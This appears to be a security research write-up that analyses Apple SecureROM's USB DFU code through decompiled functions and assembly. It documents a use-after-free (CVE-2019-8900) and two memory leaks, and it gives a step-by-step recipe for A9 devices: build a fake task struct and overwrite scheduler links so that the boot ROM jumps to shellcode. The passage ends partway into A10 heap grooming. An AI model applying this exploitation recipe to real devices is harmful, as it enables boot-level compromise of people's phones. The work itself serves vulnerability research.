dfuStatus_bState = next_state;
dfuState = next_state;
dfuStatus_iString = 0;
return;
}
if ( (usb_validate_buffer_range(a1: (unsigned __int64)&imageBuffer[received_offset], a2: transfer_length) & 1) != 0 )
{
copy_offset = totalReceived;
// copy data from IO buffer to INSECURE_MEMORY
memcpy(dst: (void *)&imageBuffer[copy_offset], src: (const void *)io_buffer, n: transfer_length);
totalReceived += transfer_length;
dfuExpectingLength = 0;
LOBYTE(dfuStatus) = 0;
bwPollTimeout_low = 50;
bwPollTimeout_mid = 0;
bwPollTimeout_high = 0;
next_state = 5;
goto go_to_next_state;
}
completionStatus = -1;
dfuDone = true;
((void (__fastcall *)(struct usb_event *))event_signal)(event: &dfuEvent);
}If the buffer range is valid for copying, the data in io_buffer is copied to imageBuffer (INSECURE_MEMORY). After that the global variables are cleared:
// done data phase
totalLength = 0;
*(_DWORD *)ep0DataPhaseLength = 0;
// clear pointer to IO buffer
ep0DataPhaseBuffer = 0;
ep0DataPhaseInterfaceNum = -2;
*dataPhase = 0;
return;It returns to usb_task(), which goes back to waiting for an interrupt from USB.
Vulnerabilities
IO buffer UAF (CVE-2019-8900)
Note that ep0DataPhaseBuffer is only cleared when the data phase completes.
So what if the host sends a DFU_ABORT setup packet request in the middle of a data phase? There is nowhere in usb_core_handle_usb_control_receive() that refuses a setup packet while the data phase is unfinished.
The function usb_dfu_handle_interface_request() handles this request:
// DFU_CLRSTATUS or DFU_ABORT
if ( dfu_request == 6 || dfu_request == 4 )
{
callback_result = 0;
LOBYTE(dfuStatus) = 0;
bwPollTimeout_low = 50;
bwPollTimeout_mid = 0;
bwPollTimeout_high = 0;
dfuStatus_bState = 2;
dfuState = 2;
dfuStatus_iString = 0;
totalReceived = 0;
if ( dfuDone )
// update global vars to signal abort DFU
return callback_result;
completionStatus = -1;
dfuDone = true;
// wake up getDFUImage
event_signal(event: &dfuEvent, a2: (__int64)out_buffer, a3: v2, a4: v3, a5: v4, a6: v5, a7: v6, a8: v7);
return 0;
}It sets dfuDone = true, then signals dfuEvent, waking getDFUImage() and calling usb_quiesce() -> usb_free() -> usb_dfu_exit():
usb_dfu_exit()
void usb_quiesce()
{
if ( (unsigned __int8)usb_inited == 1 )
{
// software completion
usb_core_stop();
// free IO buffer
usb_free();
usb_controller_reset(a1: nullptr);
// clear usb_inited
LOBYTE(usb_inited) = 0;
}
}
__int64 usb_free()
{
__int64 result; // x0
if ( (unsigned __int8)usb_inited == 1 )
return usb_dfu_exit();
return result;
}
int usb_dfu_exit()
{
int result; // w0
if ( dfuInitialized )
{
bzero(ptr: &dfuInterface, n: 0x90u);
result = (int)io_buffer;
if ( io_buffer != nullptr )
{
// free IO buffer
free(ptr: (void *)io_buffer);
io_buffer = nullptr;
}
dfuInitialized = false;
}
return result;
}io_buffer is freed here and set to null BUT ep0DataPhaseBuffer is not cleared.
usb_quiesce() returns to getDFUImage(), returns to rom_boot_main(), then repeats getDFUImage(), usb_dfu_init() and allocates a new io_buffer, while ep0DataPhaseBuffer still points to the old io_buffer. Therefore, the next data phase causes a UAF write.
So to trigger the UAF, we need to carry out the following steps:
- Send a
DFU_DNLOADsetup request to assignep0DataPhaseBuffer=io_buffer,wLength <= 0x800. - Do not finish the data phase, send
DFU_ABORTinstead to shut down the USB stack. getDFUImage()wakes up,quiesce()freesio_buffer.- Immediately send
OUTdata that writes into the oldio_buffer.
But this UAF bug alone is not exploitable yet, because the heap in SecureROM is deterministic, which means the USB shutdown frees everything and the next getDFUImage() allocates in exactly the same order again, so the new io_buffer still ends up at the same address as the old io_buffer. Unless there is some way to skew the allocations so that the new io_buffer is allocated somewhere else, and some interesting objects are allocated into the old io_buffer that we can corrupt. Maybe a memory leak bug might make this possible.
Task struct & task stack memory leak
task_create_alloc()
SecureROM also has tasks and a scheduler that schedules them for multitasking. Each task needs 2 things, a task struct and a task stack, and they are allocated in task_create_alloc():
task_t *__fastcall task_create_alloc(const char *name, task_entry_t entry, void *arg, unsigned __int64 stack_size)
{
unsigned __int64 rounded_stack_size; // x22
task_t *task; // x23
void *stack; // x4
if ( stack_size >= 0x4000 )
rounded_stack_size = stack_size;
else
rounded_stack_size = 0x4000;
task = (task_t *)malloc(size: 0x3C0u);
stack = malloc(size: rounded_stack_size);
return task_init(task, name, entry, arg, stack_base: stack, stack_size: rounded_stack_size);
}task_init()
task_t *__fastcall task_init(
task_t *task,
const char *name,
task_entry_t entry,
void *arg,
void *stack_base,
unsigned __int64 stack_size)
{
unsigned __int64 fill_offset; // x11
unsigned int fill_count; // w9
memset(task, 0, 0x1E00u);
task->magic = 'task';
task->magic2 = 'tsk2';
task->stack_base = stack_base;
task->stack_size = stack_size;
strlcpy(dst: task->name, src: name, size: 0x10u);
task->entry = entry;
task->arg = arg;
lock_acquire();
task->task_id = ++g_task_id_seq;
lock_release();
task->q_link.next = nullptr;
task->q_link.prev = nullptr;
task->join_queue.prev = &task->join_queue;
task->join_queue.next = &task->join_queue;
*(_QWORD *)&task->state = 0x100000000LL;
if ( stack_size >> 2 != 0 )
{
fill_offset = 0;
fill_count = 1;
do
{
*((_DWORD *)task->stack_base + fill_offset) = 'stak';
fill_offset = fill_count++;
}
while ( fill_offset < stack_size >> 2 );
}
task_ctx_init(task);
task->all_link.prev = task_globals.allq_head.prev;
task->all_link.next = &task_globals.allq_head;
task_globals.allq_head.prev->next = &task->all_link;
task_globals.allq_head.prev = &task->all_link;
++g_task_count;
return task;
}From the moment SecureROM starts until getDFUImage() sleeps, the following task struct and stack pairs are allocated:
sep_client_maintask struct & stack.sep_client_readertask struct & stack.usbtask struct & stack:getDFUImage()->usb_start()->usb_init()->usb_build_descriptors()->usb_start_controller_task()->usb_controller_start().
usb_controller_start()
void usb_controller_start()
{
usb_shared_state.flags = 0;
event_init(event: &usb_shared_state.wake_event, initial_count: 1u, flags: 0);
event_init(event: &usb_shared_state.stop_event, initial_count: 1u, flags: 0);
usb_shared_state.task = task_create_alloc(
name: &usb_task_name,
entry: (task_entry_t)usb_task,
arg: nullptr,
stack_size: 0x1000u);
task_resume(task: usb_shared_state.task);
}For the usb task & stack the lifetime is each getDFUImage() round, but when the USB stack shuts down there is nowhere that frees them. Therefore, causing a MEMORY LEAK.
ZLP Memory leak
The struct usb_device_io_request, called io_request for short, is allocated when preparing to transfer data or a ZLP back to the host:
struct usb_device_io_request
{
unsigned int endpoint;
volatile unsigned __int8 *io_buffer;
enum usb_request_status status;
unsigned int io_length;
unsigned int return_count;
void (*callback)(struct usb_device_io_request *io_request);
struct usb_device_io_request *next;
};When initialized, each io_request sits in 1 of 2 queues: the active queue or the completed queue, in the form of a linked list. The queue heads and tails are stored in the usb_endpoint_state array inside the struct usb_shared_state:
struct usb_endpoint_state
{
unsigned int endpoint;
unsigned int max_packet_size;
unsigned int buffer_size;
unsigned int flags;
unsigned int irq_status;
unsigned int transfer_bytes;
unsigned int transfer_packets;
volatile unsigned __int8 enabled;
unsigned __int8 __pad1D[3];
unsigned __int8 __pad20[8];
struct usb_device_io_request *active_request_head;
struct usb_device_io_request *active_request_tail;
struct usb_device_io_request *completed_request_head;
struct usb_device_io_request *completed_request_tail;
unsigned int dma_buffer_index;
unsigned int __pad4C;
};
struct usb_shared_state
{
unsigned __int8 ep0_setup_seen;
unsigned __int8 __pad01[3];
unsigned int max_transfer_size;
unsigned int max_transfer_packets;
unsigned int fifo_sram_offset;
volatile unsigned int flags;
volatile unsigned int irq_status;
volatile unsigned int endpoint_irq_status;
unsigned int hardware_revision;
struct task *task;
unsigned __int8 ep0_setup_packet[8];
unsigned __int8 dma_buffer_allocated[15];
unsigned __int8 __pad3F;
struct usb_event wake_event;
struct usb_event stop_event;
struct usb_endpoint_state endpoints[12];
};Each IN/OUT direction has its own independent set of queues. EP0 IN uses endpoints[0], EP0 OUT uses endpoints[1] (but this endpoint is not being used, because the data goes through the DMA buffer, not through the io_request struct).
usb_alloc_ep0_request()
For example when the host requests USB_GET_DESCRIPTOR, the function usb_alloc_ep0_request() is called with the arguments io_buffer = null, io_length = min(the size of the data the device has to send, the wLength the host asked for), callback = the standard device request callback:
struct usb_device_io_request *__fastcall usb_alloc_ep0_request(
volatile unsigned __int8 *io_buffer,
unsigned int io_length,
void (*callback)(struct usb_device_io_request *io_request))
{
struct usb_device_io_request *request; // x22
volatile unsigned __int8 *selected_io_buffer; // x8
request = (struct usb_device_io_request *)malloc(size: 0x30u);
bzero(ptr: request, n: 0x30u);
// for device to host (IN)
request->endpoint = 0x80;
selected_io_buffer = (volatile unsigned __int8 *)&global_io_buffer;
// use caller's buffer else the global IO buffer
if ( io_buffer != nullptr )
selected_io_buffer = io_buffer;
request->io_buffer = selected_io_buffer;
request->io_length = io_length;
request->callback = callback;
return request;
}standard_device_request_cb()
void standard_device_request_cb(struct usb_device_io_request *request)
{
unsigned int io_length; // w8
io_length = request->io_length;
if ( io_length != 0 && (io_length & 0x3F) == 0 && setupRequest.wLength > io_length )
usb_core_send_zlp();
}When the io_request is completed, the callback function is called and sends a ZLP to the host if the conditions above are met. But what does that mean? To signal that there is no more data to send. There are these cases:
- The total data is not divisible by
64bytes -> the last packet is less than64bytes -> the host knows the data has ended -> no ZLP needed. - The total data is divisible by
64bytes -> the last packet =64bytes -> if thewLengththe host asked for equals the total data -> the host knows the data has ended -> no ZLP needed. - The total data is divisible by
64bytes -> the last packet =64bytes -> if thewLengththe host asked for > the total data -> the host does not know whether there is more or not -> the device needs to send a ZLP to announce the end.
usb_endpoint_submit_request()
After the io_request has been created, usb_endpoint_submit_request() is called to submit the request into the active queue of EP0 IN:
void usb_endpoint_submit_request(struct usb_device_io_request *request)
{
unsigned __int64 endpoint_state_index; // x8
usb_endpoint_state_view *endpoint_state_view; // x8
struct usb_device_io_request **active_request_head_slot; // x8
struct usb_device_io_request *old_active_request_head; // t1
struct usb_device_io_request **active_request_tail_slot; // x9
unsigned int endpoint; // w0
lock_acquire();
endpoint_state_index = ((unsigned __int8)(2 * request->endpoint) | ((request->endpoint & 0x80) != 0)) ^ 1u;
request->return_count = 0;
request->status = USB_REQUEST_PENDING;
request->next = nullptr;
endpoint_state_view = (usb_endpoint_state_view *)((char *)&usb_shared_state + 80 * endpoint_state_index);
if ( endpoint_state_view->enabled != 0 )
{
old_active_request_head = endpoint_state_view->active_request_head;
active_request_head_slot = &endpoint_state_view->active_request_head;
active_request_tail_slot = active_request_head_slot + 1;
if ( old_active_request_head != nullptr ) // non-empty active queue
{
// add request to tail
(*active_request_tail_slot)->next = request;
*active_request_tail_slot = request;
}
else // empty active queue
{
// request become head
*active_request_tail_slot = request;
*active_request_head_slot = request;
endpoint = request->endpoint;
if ( (request->endpoint & 0x80) != 0 )
// DMA arm
usb_start_in_transfer(endpoint);
else
usb_start_out_transfer(endpoint);
}
}
else
{
// no endpoint is enabled, complete and free io_request immediately
usb_core_complete_endpoint_io(request);
}
lock_release();
}If the active queue is not empty it only attaches the io_request to the tail and does nothing more. Otherwise it makes the io_request the head and DMA arms this request (simply put, it tells the DWC to send IN data), and one arm only sends a 64 byte packet.
Each time a packet has been sent there is a hardware interrupt into usb_irq_handler(), and at the interrupt where the whole io_request at the head has completed, usb_irq_handler() moves that io_request from the active queue to the completed queue. Because each endpoint only arms 1 io_request at any 1 time, these operations are per request. Finally usb_irq_handler() signals and wakes usb_task().
usb_ep_complete_io()
usb_task() sees a hardware completion interrupt and calls usb_ep_complete_io() to complete every io_request in the completed queue:
// Pop all completed IO requests for one endpoint and invoke/free each request.
void __fastcall usb_ep_complete_io(unsigned __int8 endpoint)
{
unsigned __int64 endpoint_state_index; // x19
struct usb_completed_request_queue_block *request_queue_block; // x8
struct usb_device_io_request *request; // x19
struct usb_device_io_request *next; // x20
endpoint_state_index = ((unsigned __int8)(2 * endpoint) | ((endpoint & 0x80) != 0)) ^ 1u;
lock_acquire();
request_queue_block = (struct usb_completed_request_queue_block *)((char *)&usb_shared_state
+ 80 * endpoint_state_index);
// get the request head and clear head and tail ptr
request = request_queue_block->head;
request_queue_block->head = nullptr;
request_queue_block->tail = nullptr;
lock_release();
// complete all requests in queue one by one through the linked list
if ( request != nullptr )
{
do
{
next = request->next;
usb_core_complete_endpoint_io(request);
request = next;
}
while ( next != nullptr );
}
}
void usb_core_complete_endpoint_io(struct usb_device_io_request *request)
{
void (*callback)(struct usb_device_io_request *); // x8
// standard_device_request_cb()
callback = request->callback;
if ( callback != nullptr )
callback(io_request: request);
free(ptr: request);
}usb_core_send_zlp()
Finally it frees the io_request and calls the callback function. With standard_device_request_cb(), if the conditions are met it sends a ZLP:
int usb_core_send_zlp()
{
struct usb_device_io_request *request; // x0
request = usb_alloc_ep0_request(io_buffer: nullptr, io_length: 0, callback: nullptr);
// zlp allocate io_request
if ( request != nullptr )
return usb_core_submit_request(request);
else
return usb_core_stall_ep0(a1: 0x80u, a2: 1);
}And it submits the request again, waits for the arm to send, and interrupts and signals again to free the ZLP.
usb_endpoint_drain_then_reset()
BUT that is hardware completion, and there is also software completion, which happens when getDFUImage() is woken by a USB reset, calling usb_quiesce() -> usb_core_stop() -> usb_controller_stop() -> usb_task_request_stop() -> usb_endpoint_drain_then_reset(0x80):
void __fastcall usb_endpoint_drain_then_reset(unsigned __int8 endpoint)
{
// free io_request and might allocate ZLP
usb_endpoint_abort_and_drain(endpoint);
// clear request linked list -> no way to reference ZLPs
usb_endpoint_clear_state(endpoint);
}usb_endpoint_abort_and_drain_requests()
This function completes both the active queue and the complete queue, calling usb_core_complete_endpoint_io(), then the callback, then freeing the io_request. If it is the standard callback it creates another ZLP and adds it back into the queue.
// caller usb_endpoint_abort_and_drain()
void __fastcall usb_endpoint_abort_and_drain_requests(unsigned int endpoint)
{
unsigned int ep; // w19
int lock_result; // w0
unsigned int endpoint_state_index; // w20
unsigned int out_control_register_offset; // w22
volatile unsigned int *out_control_register; // x23
unsigned __int64 deadline; // x0
unsigned __int64 start_time; // x19
unsigned __int64 timeout_start; // x19
volatile unsigned int *out_status_register; // x22
volatile struct usb_endpoint_state_view *endpoint_state_view; // x8 Raw view; real usb_endpoint_state starts at this pointer + 0x70.
struct usb_device_io_request *completed_request; // x20
struct usb_device_io_request *active_request; // x19
struct usb_device_io_request *next; // x21
struct usb_device_io_request *next_; // x21
LOWORD(ep) = endpoint;
*(_QWORD *)&lock_result = lock_acquire();
*(_QWORD *)&endpoint_state_index = ((unsigned __int8)(2 * ep) | ((ep & 0x80) != 0)) ^ 1u;
if ( usb_shared_state.endpoints[*(_QWORD *)&endpoint_state_index].enabled != 0 )
{
if ( (ep & 0x80) != 0 ) ...
else ...
endpoint_state_view = (volatile struct usb_endpoint_state_view *)((char *)&usb_shared_state
+ 80 * *(_QWORD *)&endpoint_state_index);
endpoint_state_view->transfer_bytes = 0;
endpoint_state_view->transfer_packets = 0;
completed_request = endpoint_state_view->completed_request_head;
endpoint_state_view->completed_request_head = nullptr;
endpoint_state_view->completed_request_tail = nullptr;
active_request = endpoint_state_view->active_request_head;
endpoint_state_view->active_request_head = nullptr;
endpoint_state_view->active_request_tail = nullptr;
lock_release();
// complete completed requests one by one
if ( completed_request != nullptr )
{
do
{
next = completed_request->next;
usb_core_complete_endpoint_io(request: completed_request);// callback and free request
completed_request = next;
}
while ( next != nullptr );
}
// complete active requests one by one
if ( active_request != nullptr )
{
do
{
next_ = active_request->next;
active_request->status = USB_REQUEST_ABORTED;
usb_core_complete_endpoint_io(request: active_request);// callback and free request
active_request = next_;
}
while ( next_ != nullptr );
}
}
else
{
lock_release();
}
}usb_endpoint_abort_and_clear_state()
But right after that this function wipes the queue’s linked list pointers:
// caller usb_endpoint_clear_state()
void __fastcall usb_endpoint_abort_and_clear_state(unsigned __int8 endpoint)
{
unsigned __int8 endpoint_number; // w22
volatile struct usb_endpoint_state_view *endpoint_state_block; // x21 Raw view; real usb_endpoint_state starts at this pointer + 0x70.
unsigned int control_register_offset; // w10
unsigned __int8 irq_enable_bit; // w11
unsigned int dma_address_register_offset; // w9
unsigned int transfer_register_offset; // w8
unsigned int status_register_offset; // w12
unsigned int dma_buffer_index; // w8
*(_DWORD *)&endpoint_number = endpoint & 0x7F;
endpoint_state_block = (volatile struct usb_endpoint_state_view *)((char *)&usb_shared_state
+ 80
* (((2 * *(_DWORD *)&endpoint_number)
| ((endpoint & 0x80) != 0))
^ 1u));
lock_acquire();
if ( endpoint_state_block->enabled != 0 )
{
control_register_offset = 32 * *(_DWORD *)&endpoint_number + 0xB00;
irq_enable_bit = endpoint_number + 16;
dma_address_register_offset = 32 * *(_DWORD *)&endpoint_number + 0x914;
if ( (endpoint & 0x80) != 0 ) ...
else ...
if ( (endpoint & 0x80) != 0 ) ...
else ...
if ( (endpoint & 0x80) != 0 ) ...
else ...
if ( (endpoint & 0x80) != 0 ) ...
*(_DWORD *)(control_register_offset | 0x20C100000LL) = 0;
*(_DWORD *)(transfer_register_offset | 0x20C100000LL) = 0;
*(_DWORD *)(status_register_offset | 0x20C100000LL) = 0x1FF;
*(_DWORD *)(dma_address_register_offset | 0x20C100000LL) = 0;
MEMORY[0x20C10081C] &= ~(1 << irq_enable_bit);
dma_buffer_index = endpoint_state_block->dma_buffer_index;
if ( dma_buffer_index != 0 ) ...
// wipe queue pointers
bzero(ptr: &endpoint_state_block->endpoint, n: 0x50u);
}
lock_release();
}Which leads to there being no reference left to the ZLP io_requests, and if a ZLP has not been sent and has had no hardware completion then it is still there -> MEMORY LEAK.
Exploitation
A9 (s8000)
Each getDFUImage() round has 10 allocations, in this order:
- The UTF-16 device descriptor of the string " NONC:… SNON:…".
- String descriptor slot
2: “Apple Inc.”. - String descriptor slot
3: “Apple Mobile Device (DFU Mode)”. - String descriptor slot
4: “CPID:8000 CPRV:20 … SRTG:[iBoot-2234.0.0.3.3]”. - String descriptor slot
5: “Apple Mobile Device (DFU Mode)” a 2nd time. usbtask struct.usbtask stack.- DFU
io_buffer. - Config descriptor HS.
- Config descriptor FS.
Freed in the order 9 - 10 - 1 - 2 - 3 - 4 - 5 - 8. 6 and 7 are the memory leak. Because it is deterministic, the next round allocates 1, 2, 3, 4, 5 at exactly the same positions, and 6 is allocated into the position of the old io_buffer that is under UAF. The UAF write overwrites the current usb task struct.
But the current usb task struct is the one running and doing the copy into io_buffer, its registers cannot be overwritten, so a fake task has to be created and context switched to.
The task struct looks like this:
enum task_magic_t
{
TASK_MAGIC = 0x7461736B,
TASK_MAGIC2 = 0x74736B32,
};
struct list_node_t
{
struct list_node_t *next;
struct list_node_t *prev;
};
00000000 struct task_t // sizeof=0x3C0
00000000 {
00000000 enum task_magic_t magic;
00000004 unsigned int unknown_0x04;
00000008 struct list_node_t all_link;
00000018 struct list_node_t q_link;
00000028 enum task_state_t state;
0000002C unsigned int crit_sec_depth;
00000030 unsigned __int8 ctx[120];
000000A8 unsigned __int64 ctx_x16_x17[2];
000000B8 unsigned __int8 unknown_0xB8[16];
000000C8 unsigned __int64 ctx_x19_x20[2];
000000D8 unsigned __int64 ctx_x21_x22[2];
000000E8 unsigned __int64 ctx_x23_x24[2];
000000F8 unsigned __int64 ctx_x25_x26[2];
00000108 unsigned __int64 ctx_x27_x28[2];
00000118 unsigned __int64 ctx_fp;
00000120 unsigned __int64 ctx_lr;
00000128 unsigned __int64 ctx_sp;
00000130 unsigned __int8 unknown_0x130[128];
000001B0 unsigned __int64 ctx_d8;
000001B8 unsigned __int8 unknown_0x1B8[8];
000001C0 unsigned __int64 ctx_d9;
000001C8 unsigned __int8 unknown_0x1C8[8];
000001D0 unsigned __int64 ctx_d10;
000001D8 unsigned __int8 unknown_0x1D8[8];
000001E0 unsigned __int64 ctx_d11;
000001E8 unsigned __int8 unknown_0x1E8[8];
000001F0 unsigned __int64 ctx_d12;
000001F8 unsigned __int8 unknown_0x1F8[8];
00000200 unsigned __int64 ctx_d13;
00000208 unsigned __int8 unknown_0x208[8];
00000210 unsigned __int64 ctx_d14;
00000218 unsigned __int8 unknown_0x218[8];
00000220 unsigned __int64 ctx_d15;
00000228 unsigned __int8 unknown_0x228[328];
00000370 struct list_node_t join_queue;
00000380 unsigned int exit_code;
00000384 unsigned int unknown_0x384;
00000388 void *entry;
00000390 void *arg;
00000398 void *stack_base;
000003A0 unsigned __int64 stack_size;
000003A8 char name[16];
000003B8 unsigned int task_id;
000003BC enum task_magic_t magic2;
000003C0 };Call the current usb task struct B. The fake task F, the shellcode address P, the new stack S (with free room towards the low addresses), and the place holding the string stak, M, sit at addresses we choose inside io_buffer (0x800 bytes wide). Because the heap is deterministic, the addresses can be worked out.
Prepare F:
*(F+0x18)=*(F+0x20)=B+0x370*(F+0x120)=P*(F+0x128)=S
Overwrite B:
*(B+0x370)=*(B+0x378)=F+0x18*(B+0x398)=M
Note: F+0x18 != B+0x370
Send DFU_ABORT:
// DFU_CLRSTATUS or DFU_ABORT
if ( dfu_request == 6 || dfu_request == 4 )
{
callback_result = 0;
LOBYTE(dfuStatus) = 0;
bwPollTimeout_low = 50;
bwPollTimeout_mid = 0;
bwPollTimeout_high = 0;
dfuStatus_bState = 2;
dfuState = 2;
dfuStatus_iString = 0;
totalReceived = 0;
if ( dfuDone )
// update global vars to signal abort DFU
return callback_result;
completionStatus = -1;
dfuDone = true;
// wake up getDFUImage
event_signal(event: &dfuEvent);
return 0;
}This wakes getDFUImage() running in the main task -> usb_quiesce() -> usb_core_stop() -> usb_controller_stop() -> usb_task_request_stop():
// caller usb_controller_stop()
__int64 usb_task_request_stop()
{
int ep; // w19
int v1; // w8
__int64 v2; // x9
sub_1000011E0(result: 214);
lock_acquire();
usb_shared_state.flags |= 2u;
lock_release();
event_signal(event: &usb_shared_state.wake_event);
task_self();
event_wait(event: &usb_shared_state.stop_event);
for ( ep = 5; ep > 0; --ep )
{
usb_endpoint_drain_then_reset(endpoint: ep | 0x80);
usb_endpoint_drain_then_reset(endpoint: ep);
}
// drain endpoint 0 (device to host)
usb_endpoint_drain_then_reset(endpoint: 0x80u);
MEMORY[0x20C100018] = 0;
MEMORY[0x20C100814] = 0;
MEMORY[0x20C100810] = 0;
MEMORY[0x20C10081C] = 0;
v1 = 6;
v2 = 0x20C1009A8LL;
MEMORY[0x20C100014] = -1;
do
{
*(_DWORD *)v2 = 31;
*(_DWORD *)(v2 + 512) = 15;
--v1;
v2 -= 32;
}
while ( v1 > 0 );
usb_shared_state.irq_status = 0;
usb_shared_state.endpoint_irq_status = 0;
MEMORY[0x20C100804] |= 2u;
return spi_pmu_release_dfu_pins();
}This function signals wake_event and waits for the usb task to die (stop_event):
int __fastcall usb_task()
{
...
do
{
// wait for wake_event
event_wait(event: &usb_shared_state.wake_event);
if ( (usb_shared_state.flags & 1) != 0 ) ...
}
while ( (usb_shared_state.flags & 2) == 0 );
// signal stop_event
event_signal(event: &usb_shared_state.stop_event);
return 0;
}The usb task wakes on wake_event, finishes by signalling stop_event to wake the main task, then returns:
void __fastcall __noreturn task_entry_trampoline()
{
int v0; // w0
lock_release();
v0 = ((__int64 (__fastcall *)(void *))task_globals.current_task->entry)(a1: task_globals.current_task->arg);
task_exit(exit_code: v0);
}
void __fastcall __noreturn task_exit(int exit_code)
{
task_globals.current_task->exit_code = exit_code;
task_globals.current_task->state = TASK_EXITED;// usb task status -> EXITED
wait_queue_wake_all(wait_queue_head: &task_globals.current_task->join_queue);
--g_task_count;
task_schedule();
panic(message: "", format: "");
}It sets the usb task state to EXITED, then wait_queue_wake_all() with the usb task + 0x370 as its argument:
int wait_queue_wake_all(struct list_node_t *wait_queue_head)
{
int woken_count; // w19
void *waiter_node; // x8
task_t *waiter; // x0
void *older_node; // x22
lock_acquire();
woken_count = 0;
waiter_node = wait_queue_head->prev;
if ( waiter_node != wait_queue_head )
{
waiter = (task_t *)((char *)waiter_node - 24);
do
{
older_node = waiter->q_link.prev;
*(_QWORD *)older_node = *(_QWORD *)waiter_node;
*(_QWORD *)(*(_QWORD *)waiter_node + 8LL) = waiter->q_link.prev;
waiter->q_link.prev = nullptr;
*(_QWORD *)waiter_node = 0;
waiter->state = TASK_READY;
task_make_ready(task: waiter);
++woken_count;
waiter_node = older_node;
waiter = (task_t *)((char *)older_node - 24);
}
while ( older_node != wait_queue_head );
}
lock_release();
return woken_count;
}waiter_node = the value at B+0x370 = F+0x18 -> waiter = F -> F state = READY -> task_make_ready(F) adds F as the head of the global ready queue and increments g_ready_count:
void *__fastcall task_make_ready(task_t *task)
{
list_node_t *result; // x0
task->q_link.next = task_globals.readyq_head.next;
result = &task->q_link;
result->prev = &task_globals.readyq_head;
task_globals.readyq_head.next->prev = result;
task_globals.readyq_head.next = result;
++g_ready_count;
return result;
}Then it returns, returns once more, and calls task_schedule():
void __fastcall task_schedule()
{
struct task_t *old_task; // x19
_QWORD **next_node; // x0
task_t *next_task; // x8
read_sys_counter();
if ( g_ready_count != 0 || task_globals.current_task->state != TASK_RUNNING )
{
if ( (unsigned __int8 *)task_globals.current_task != task_globals.boot_task
&& *(_DWORD *)task_globals.current_task->stack_base != 'stak' )
{
panic(message: "", format: "");
}
lock_acquire();
timer_process_next(a1: (_QWORD **)&panic_in_progress[1]);
g_sched_state = 0;
old_task = task_globals.current_task;
if ( task_globals.current_task->state == TASK_RUNNING )
{
task_globals.current_task->state = TASK_READY;
if ( old_task != (struct task_t *)&g_idle_task_region.q_link.prev )
task_make_ready(task: old_task);
}
// get task from head
next_node = queue_dequeue(a1: (__int64)&task_globals.readyq_head);
if ( next_node == nullptr || (next_task = (task_t *)(next_node - 3), next_node == (_QWORD **)24) )
next_task = nullptr;
else
--g_ready_count;
if ( next_task == nullptr )
next_task = (task_t *)&g_idle_task_region.q_link.prev;
next_task->state = TASK_RUNNING;
task_globals.current_task = next_task;
// context switch, store old registers and load new registers
task_context_switch(save_ctx: old_task->ctx, restore_ctx: next_task->ctx);
read_sys_counter();
lock_release();
}
}Load the new values into the registers in task_context_switch():
ROM:000000010000CB40 ; void task_context_switch(void *save_ctx, void *restore_ctx)
ROM:000000010000CB40 task_context_switch ; CODE XREF: task_schedule+104↑p
ROM:000000010000CB40 STP X16, X17, [X0,#0x78] // Save register
ROM:000000010000CB44 STP X19, X20, [X0,#0x98]
ROM:000000010000CB48 STP X21, X22, [X0,#0xA8]
ROM:000000010000CB4C STP X23, X24, [X0,#0xB8]
ROM:000000010000CB50 STP X25, X26, [X0,#0xC8]
ROM:000000010000CB54 STP X27, X28, [X0,#0xD8]
ROM:000000010000CB58 STP X29, X30, [X0,#0xE8]
ROM:000000010000CB5C MOV X2, SP
ROM:000000010000CB60 STR X2, [X0,#0xF8]
ROM:000000010000CB64 STR D8, [X0,#0x180]
ROM:000000010000CB68 STR D9, [X0,#0x190]
ROM:000000010000CB6C STR D10, [X0,#0x1A0]
ROM:000000010000CB70 STR D11, [X0,#0x1B0]
ROM:000000010000CB74 STR D12, [X0,#0x1C0]
ROM:000000010000CB78 STR D13, [X0,#0x1D0]
ROM:000000010000CB7C STR D14, [X0,#0x1E0]
ROM:000000010000CB80 STR D15, [X0,#0x1F0]
ROM:000000010000CB84 MOV X0, X1
ROM:000000010000CB88 B loc_10000CB8C
ROM:000000010000CB8C ; ---------------------------------------------------------------------------
ROM:000000010000CB8C
ROM:000000010000CB8C loc_10000CB8C ; CODE XREF: task_context_switch+48↑j
ROM:000000010000CB8C LDP X16, X17, [X0,#0x78] // Load registers
ROM:000000010000CB90 LDP X19, X20, [X0,#0x98]
ROM:000000010000CB94 LDP X21, X22, [X0,#0xA8]
ROM:000000010000CB98 LDP X23, X24, [X0,#0xB8]
ROM:000000010000CB9C LDP X25, X26, [X0,#0xC8]
ROM:000000010000CBA0 LDP X27, X28, [X0,#0xD8]
ROM:000000010000CBA4 LDP X29, X30, [X0,#0xE8] // Load FP and LR
ROM:000000010000CBA8 LDR X1, [X0,#0xF8]
ROM:000000010000CBAC MOV SP, X1
ROM:000000010000CBB0 LDR D8, [X0,#0x180]
ROM:000000010000CBB4 LDR D9, [X0,#0x190]
ROM:000000010000CBB8 LDR D10, [X0,#0x1A0]
ROM:000000010000CBBC LDR D11, [X0,#0x1B0]
ROM:000000010000CBC0 LDR D12, [X0,#0x1C0]
ROM:000000010000CBC4 LDR D13, [X0,#0x1D0]
ROM:000000010000CBC8 LDR D14, [X0,#0x1E0]
ROM:000000010000CBCC LDR D15, [X0,#0x1F0]
ROM:000000010000CBD0 RETFinally RET into the LR loaded from F+0x30+0xE8+0x8 = F+0x120, which is the shellcode, and we get CODE EXECUTION.
A10 (t8010)
No task struct leak, so we use the ZLP leak for heap fengshui.
Heap fengshui
A quick summary of the heap in SecureROM:
- The
t8010heap is a single region of0x4C000bytes (304KB) at0x1801B4000, registered byheap_add_region(0x1801B4000, 0x4C000, 1), with0x40byte sentinels at each end surrounding one large free block. - Block is a multiple of
64bytes (unit). - Header is
64bytes. - Request size is
max(0x50, round_up64(size + 0x40)),0x50because a free block has to hold the0x10byte{next, prev}node at offset0x40. - 32 bucket free lists, LIFO, doubly linked list.
mallocis first-fit, climbing from the ideal bucket up to the higher buckets, taking the first block that is big enough, splitting from the start of the block, and the remainder ≥0x50becomes a new free block.freecoalesces in both directions.malloc(0), OOM, double free and a corrupted header/footer all panic.
For io_buffer to be allocated somewhere else there has to be another free region that fits earlier than the old one, so that malloc takes that other region. So we need to use the ZLP leak (which survives the USB shutdown) to create a hole for the next allocation.
But a ZLP only leaks when we deliberately create a software completion, so how do we keep the io_requests in the active queue and out of the completed queue, delaying the hardware completion so that the requests do not get freed? The answer is to push the DWC into the “stall” state.

The DWC EP0 IN stall sequence.
